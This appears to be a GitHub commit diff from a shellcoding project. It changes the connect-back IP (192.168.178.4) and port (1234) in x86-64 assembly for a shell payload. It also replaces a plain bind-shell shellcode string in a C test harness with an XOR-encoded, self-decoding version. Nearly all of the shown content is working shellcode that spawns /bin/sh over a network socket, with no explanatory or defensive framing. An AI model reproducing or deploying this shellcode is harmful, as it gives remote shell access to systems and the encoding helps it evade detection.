File tree Expand file tree Collapse file tree 2 files changed +12
-3
lines changed
Filter options
Expand file tree Collapse file tree 2 files changed +12
-3
lines changed
Original file line number Diff line number Diff line change @@ -19,8 +19,8 @@ _start:
19
19
20
20
;Creating the structure
21
21
xor rax , rax
22
- push dword 0x040200 ;IP
23
- push word 0x204 ;Port
22
+ push dword 0x04b2a8c0 ;IP
23
+ push word 0xd204 ;Port
24
24
push word 0x02
25
25
26
26
;Move stack pointer to RSI
Original file line number Diff line number Diff line change 1
1
#include <stdio.h>
2
2
#include <string.h>
3
3
4
- unsigned char code [] = "\x48\x31\xc0\x48\x83\xc0\x29\x48\x31\xff\x48\x83\xc7\x02\x48\x31\xf6\x48\xff\xc6\x48\x31\xd2\x0f\x05\x48\x89\xc7\x48\x31\xc0\x50\x66\x68\x04\xd2\x66\x6a\x02\x48\x89\xe6\x48\x31\xd2\x48\x83\xc2\x10\x48\x31\xc0\x48\x83\xc0\x31\x0f\x05\x48\x31\xc0\x48\x83\xc0\x32\x48\x31\xf6\x48\xff\xc6\x0f\x05\x48\x31\xc0\x48\x83\xc0\x2b\x48\x31\xf6\x48\x31\xd2\x0f\x05\x48\x89\xc3\x48\x89\xdf\x48\x31\xc0\x48\x83\xc0\x21\x48\x31\xf6\x0f\x05\x48\x31\xc0\x48\x83\xc0\x21\x48\xff\xc6\x0f\x05\x48\x31\xc0\x48\x83\xc0\x21\x48\xff\xc6\x0f\x05\x48\x31\xc0\x50\x48\x89\xe2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\x48\x83\xc0\x3b\x0f\x05" ;
4
+ unsigned char code [] =
5
+ "\x48\x31\xc9\x48\x81\xe9\xf6\xff\xff\xff\x48\x8d\x05\xef\xff"
6
+ "\xff\xff\x48\xbb\xcd\x3a\xd1\x61\x65\x6c\xbb\xa9\x48\x31\x58"
7
+ "\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4\xa7\x13\x89\xf8\x0f\x6e"
8
+ "\xe4\xc3\xcc\x64\xde\x64\x2d\xfb\xe9\x6e\xc9\x1e\xd3\x61\x74"
9
+ "\x30\xf3\x20\x2b\x50\xc1\x3b\x0f\x5d\xe3\xa6\xc8\x63\xbb\x53"
10
+ "\x3d\x63\xbe\xe1\x5b\x50\xfa\x39\x6a\x69\xeb\xff\x92\x50\xd8"
11
+ "\x39\xfc\xda\xab\xe1\x44\xec\x9c\x50\xac\x06\x99\xe8\x97\x88"
12
+ "\xd6\x6e\x60\x24\x2d\xe1\x5a\x65\xde\x64\x9a\x8a\xbb\xa9" ;
13
+
5
14
6
15
int main () {
7
16
printf ("Shellcode Length: %d\n" , (int )strlen (code ));
You can’t perform that action at this time.
0 commit comments